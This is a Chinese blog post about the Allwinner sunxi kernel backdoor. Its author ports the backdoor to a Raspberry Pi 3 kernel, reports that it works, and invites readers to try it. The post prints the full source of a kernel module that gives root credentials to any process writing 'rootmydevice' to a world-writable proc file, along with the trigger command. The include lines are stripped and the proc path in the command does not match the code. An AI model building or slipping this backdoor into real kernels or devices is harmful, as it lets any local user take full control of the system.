全志的 Linux 内核后门分析

最近全志开发人员在其kernel中留下后门一事闹得沸沸扬扬。还不知道的同学请参看
http://www.cnbeta.com/articles/501193.htm。

通过写入rootmydevice/proc/sunxi-debug/sunxi-debug,一个普通用户就能拥有root的权限。实际作用代码片段如下:

cred->uid = GLOBAL_ROOT_UID;
cred->gid = GLOBAL_ROOT_GID;
cred->suid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->egid = GLOBAL_ROOT_GID;
cred->fsuid = GLOBAL_ROOT_UID;
cred->fsgid = GLOBAL_ROOT_GID;

本人将全志的这个后门移植到了raspberry pi 3的4.6内核,试了一下,确实好用。有兴趣的同学可以玩玩。下面是我修改过的代码。将其编译成模块,使用root插入这个模块后,任意一个用户执行如下命令,就会拥有root权限了。

echo “rootmydevice” > /proc/sunxi-debug/sunxi-debug

当这个模块被移除,拥有root权限的普通用户恢复原来的权限。

/*
 * Sunxi_debug.c
 *
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 as
 * published by the Free Software Foundation.
 */
#include 
#include 
#include 
#include 
#include 

#include 
#include //add by fe3o4
#include 
#include 

#include 

static struct proc_dir_entry *proc_root;
static struct proc_dir_entry * proc_su;
static struct cred *cred_back;
static struct task_struct *task;

static ssize_t sunxi_proc_su_write(struct file *file, const char __user *buffer,
                                    size_t count, loff_t *data)
{
    char *buf;
    struct cred *cred;

    if (count < 1)
        return -EINVAL;

    buf = kmalloc(count, GFP_KERNEL);
    if (!buf)
        return -ENOMEM;

    if (copy_from_user(buf, buffer, count)) {
        kfree(buf);
        return -EFAULT;
    }

    if(!strncmp("rootmydevice",(char*)buf,12)){
        task = current;
        cred = (struct cred *)__task_cred(task);
        memcpy(cred_back, cred, sizeof(struct cred));

        cred->uid = GLOBAL_ROOT_UID;
        cred->gid = GLOBAL_ROOT_GID;
        cred->suid = GLOBAL_ROOT_UID;
        cred->euid = GLOBAL_ROOT_UID;
        cred->euid = GLOBAL_ROOT_UID;
        cred->egid = GLOBAL_ROOT_GID;
        cred->fsuid = GLOBAL_ROOT_UID;
        cred->fsgid = GLOBAL_ROOT_GID;
        printk("now you are root\n");
    }

    kfree(buf);
    return count;
}


ssize_t sunxi_proc_su_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
    printk("sunxi debug: rootmydevice\n");
    return 0;
}

static int sunxi_proc_su_open(struct inode *inode, struct file *file)
{
    return 0;
}

static const struct file_operations proc_fops = {
    .open= sunxi_proc_su_open,
    .read= sunxi_proc_su_read,
    .write = sunxi_proc_su_write,
};

static int sunxi_root_procfs_attach(void)
{
    proc_root = proc_mkdir("sunxi_debug", NULL);
    proc_su= proc_create("sunxi_debug", 0666, proc_root, &proc_fops);
    if (IS_ERR(proc_su)){
        printk("create sunxi_debug dir error\n");
        return -1;
    }
    return 0;

}

static int __init sunxi_debug_init(void)
{
    int ret;

    cred_back = kmalloc(sizeof(struct cred), GFP_KERNEL);
    if (IS_ERR(cred_back))
        return PTR_ERR(cred_back);

    ret = sunxi_root_procfs_attach();
    printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
    if(ret){
        printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
    }
    return 0;
}

static void __exit sunxi_debug_exit(void)
{
    struct cred *cred = (struct cred *)__task_cred(task);
    memcpy(cred, cred_back, sizeof(struct cred));
    kfree(cred_back);

    remove_proc_entry("sunxi_debug", proc_root);
    remove_proc_entry("sunxi_debug", NULL);
}

module_init(sunxi_debug_init);
module_exit(sunxi_debug_exit);
MODULE_LICENSE("GPL");

你可能感兴趣的:(arm)